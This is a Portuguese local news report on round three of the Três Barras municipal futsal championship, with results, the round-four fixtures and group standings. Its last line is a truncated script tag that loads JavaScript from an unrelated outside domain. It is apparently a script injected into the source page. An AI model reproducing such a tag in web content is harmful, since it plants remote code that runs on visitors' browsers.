Mais 23 gols foram marcados pelo Campeonato Municipal de Futsal de Três Barras, desta vez pela disputa da terceira rodada. Os jogos tiveram como palco o ginásio de esportes Ione Cyríaco de Souza no final da tarde e noite de sexta-feira (28).
A partida inicial foi pela categoria Infantil e teve como vitorioso o time do CTTBF – B, que aplicou 3 a 0 sobre o Unidos.
Na sequência, já pela categoria Livre, a equipe do Central estreou na competição goleando o Baixada por 7 a 1. Numa partida de seis gols, pela chave A, o Folha Seca ganhou do Bola de Fogo pelo placar de 4 a 2. Resultado semelhante teve o Remar ao vencer o time da Brasnile, em jogo pela chave C.
O campeonato é uma realização do Governo de Três Barras, por meio da secretaria de Educação, Cultura e Esporte, em parceria com a Liga Esportiva Canoinhense (LEC).
As partidas da quarta rodada acontecem na próxima segunda-feira, 1° de outubro. Confira os confrontos:
4ª RODADA
J
Nº |
DATA | HORA | CHAVE | EQUIPE A | X | EQUIPE B | ||
13 | 01/10 | 17:45 | INFANTIL | UNIDOS | X | UNIÃO TRES BARRAS | ||
14 | 01/10 | 18:45 | B | MARRA | X | CENTRAL | ||
15 | 01/10 | 19:50 | A | SONOS SEM ELES | X | BOLA DE FOGO | ||
16 | 01/10 | 20:50 | D | UNIDOS | X | GALATICOS |
CLASSIFICAÇÃO GERAL – CATEGORIA LIVRE
Chave A
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
OS DETEMIDOS | ||||||||||||
UNIÃO TB – A | X | X | X | |||||||||
BOLA DE FOGO | ||||||||||||
FOLHA SECA | X | X | X | |||||||||
SONOS SEM ELES |
Chave B
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
DEIXAQUEUXUTO | ||||||||||||
COLORADO | ||||||||||||
CENTRAL | X | X | X | |||||||||
BAIXADA | ||||||||||||
MARRA | X | X | X |
Chave C
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
REAL SÃOCRISTÓVÃO | |||||||||
ATLÉTICO TRÊS BARRAS | X | X | X | ||||||
BRASNILE | |||||||||
REMAR | X | X | X | X | X | X |
Chave D
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
UNIÃO TRÊS BARRAS – B | X | X | X | ||||||
UNIÃO SÃO JOÃO | |||||||||
GALÁTICOS | X | X | X | ||||||
UNIDOS |
CLASSIFICAÇÃO GERAL – CATEGORIA INFANTIL
Chave Única
TIMES | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
CTTBF – A | ||||||||||||
CTTBF – B | X | X | X | X | X | X | ||||||
UNIÃO TB | X | X | X | |||||||||
EVOLUÇÃO JOVEM | ||||||||||||
UNIDOS |
… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>